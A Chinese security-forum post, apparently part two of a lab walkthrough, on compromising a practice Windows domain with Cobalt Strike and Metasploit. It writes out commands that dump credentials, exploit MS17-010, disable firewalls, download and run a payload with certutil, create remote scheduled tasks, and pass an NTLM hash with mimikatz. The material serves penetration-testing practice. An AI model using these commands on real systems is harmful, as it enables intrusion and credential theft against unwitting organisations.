安全矩阵

 找回密码
 立即注册
搜索
查看: 2560|回复: 0

实战打靶 - 巧用smb拿下不出网主机(下)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-15 10:04:13 | 显示全部楼层 |阅读模式
原文链接:实战打靶 - 巧用smb拿下不出网主机(上
0x05 内网渗透

信息搜集
net view查看域信息


使用cs自带的端口扫描扫一波主机


扫出来所有的主机如下


hashdump抓一波hash


logonpasswords抓一波明文


所有凭证如下,打码的原因是因为之前登陆的时候密码要重置,弄了一个带有个人信息的密码


思路
这里我测试了一下,因为目标主机没有开启防火墙,是能够通过cs自带的psexec一波横向抓域控和域内机器密码的,但是鉴于这个win7双网卡且域内另外主机不出网的情况,练习一下如何打不出网的主机
不出网机器上线一般有以下几种方式:
  • 使用smb beacon
  • 配置listener通过HTTP代理上线
  • 使用pystinger搭建socks4代理

这里我使用SMB beacon这个方法

SMB
Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload上线
首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线


1.使用条件
  • 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。


2.使用方法
(1) 建立smb listener


(2) 在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator,即拥有目标主机管理员权限


(3) 连接成功,可以看到smb beacon上线的主机右侧有∞∞标识


使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断

0x06 内网横向渗透
思路
用Ladon扫一波内网的永恒之蓝,发现这几台主机都存在MS17-010


ms17010常见的几种打法:
  • msf
  • ladon/ladon_ms17010
  • 从msf分离出的exe
  • nessus里的exe
  • cs插件


这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果

msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口,而且还会留一个粘滞键后门
根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”

cs派生msf会话
msf设置监听端口


cs新建端口建立对话


运行拿到meterpreter


ms_17_010获取域控权限
这里因为知道了DC是有ms_17_010这个漏洞的,所以我先尝试了用永恒之蓝打一波,使用如下模块
exploit/windows/smb/ms17_010_eternalblue


运行之后发现exp已经打过去了但是没有session建立


再换个ms17010的模块
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp

同样没有拿到shell,当时没有细想,后来我考虑到可能是win7处于两个网段的原因,所以用永恒之蓝直接打是拿不到shell的


msf打不出网机器的ms_17_010
想到之前拿到了win7的meterpreter,所以用添加路由的方式尝试一下。

msf在单兵作战的时候还是很稳定很香的。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由

1.查看路由
run get_local_subnets


2.添加路由
run autoroute -s 192.168.52.0/24


3.查看添加的路由
run autoroute -p


4.开始攻击
把shell切换到后台,再运用ms17_010_eternalblue模块


这次能够成功建立连接


ms_17_010模块总结
漏洞检测方法:
设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,所以就没有进行漏洞检测。
use auxiliary/scanner/smb/smb_ms17_010

漏洞利用常使用的是:
这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec
在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.164.156 192.168.164.161
set command tasklist
show optionsrun
如果命令执行成功的话就可以优先考虑这两个模块进行利用
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_psexec
WMI获取域控服务器
因为之前用了两个ms_17_010的模块都没有打成功,而session放在后台是后面才想到的打法,在当时模块没有打成功的情况下我决定另辟蹊径

首先我打开3389端口并关闭防火墙进到win7的远程桌面

注册表开启3389端口
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


关闭防火墙
  1. #windows server 2003之前
  2. netsh firewall set opmode disable
  3. #windows server 2003之后
  4. netsh advfirewall set allprofiles state off
复制代码


这个时候防火墙是开启,关闭防火墙,使用域用户god\\administrator/hongrisec@2020成功登录这一台win7WEB主机


上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行
cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"

因为我用vbs几次都没有回显,所以我这里使用的Ladon.exe,执行
Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 whoami


同上面的过程一样,获取一个正向的msf连接,过程如下:

首先生成一个正向的exe文件放到win7的网站目录上


在win7上看一下,上传成功


在win7上使用WMI执行命令
certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe

成功执行,这时候在138机器(即DC-win2008)上开启6666端口监听

在msf上个运行blin_tcp来获取回话


成功获取域控权限,后续提权


使用CVE-2018-8120提权,成功提到系统权限,这里我思考了一下用MS14-068应该也能够提权成功


成功提权,上免杀mimikatz,成功抓到hash



票据加计划任务获取DC
这里先用msf的命令生成正向的马 yukong.exe
windows/reverse_bind_tcp LHOST=192.168.10.11 LPORT=7777

把马复制到域控机器上
shell copy C:\\yukong.exe \\192.168.52.138\\c$

然后再用这个写入计划任务的方法去连接,这里马反弹会连不成功,所以使用如下命令
shell schtasks /create /tn "test" /tr C:\\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"

挂着win7代理
proxy nc -vv 192.168.52.138 7777

即可弹回DC的shell,然后清除计划任务
schtasks /delete /s 192.168.52.138 /tn "test" /f

使用mimikatz进行hash传递
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141


查看DC的目录
shell dir \\192.168.52.138\\c$ //dir


0x07 后记
当然最后获取域控权限的方法还有很多,如pth攻击、横向哈希传递、redis等等,而其中一些地方我用的方法也不是唯一方法,如通过扫描目录发现cms进入后台写shell,用代理将win7流量转出来的方法,都很值得学习。

通过这个靶场不仅锻炼了一些看过但是实战中不知道怎么使用的方法,也提升了自己独立解决问题的能力,也学到了很多新知识,如通过phpmyadmin写shell等等,用前辈说的话就是:低调求发展,潜心习安全。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:03 , Processed in 0.020595 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表